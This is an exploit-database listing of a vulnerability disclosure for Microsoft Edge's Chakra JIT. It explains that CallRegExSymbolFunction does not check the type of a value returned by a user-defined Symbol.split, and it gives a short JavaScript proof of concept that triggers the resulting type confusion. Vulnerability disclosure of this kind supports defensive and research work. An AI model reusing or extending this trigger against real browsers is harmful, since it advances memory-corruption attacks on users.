Microsoft Edge Chakra JIT CallRegExSymbolFunction Return Check Fail Exploit

Microsoft Edge: Chakra: JIT: CallRegExSymbolFunction doesn't check the return type 




The "CallRegExSymbolFunction" method is used to call symbol functions in regexp objects. But it doesn't check the return value's type. Since the user can define the symbol functions, it can break the JIT compiler's type assumptions.

Tested Microsoft Edge 41.16299.15.0 with Experimental JavaScript Features enabled.

PoC:
function opt(r) {
    let arr = 'a'.split(r);
    arr.x = 1;

    return arr;
}

function main() {
    let a = {
        [Symbol.split]() {
            return 0x1234;
        }
    };

    for (let i = 0; i < 0x10000; i++) {
        opt(a);
    }
    opt(a);
}

main();

#  0day.today [2018-03-14]  #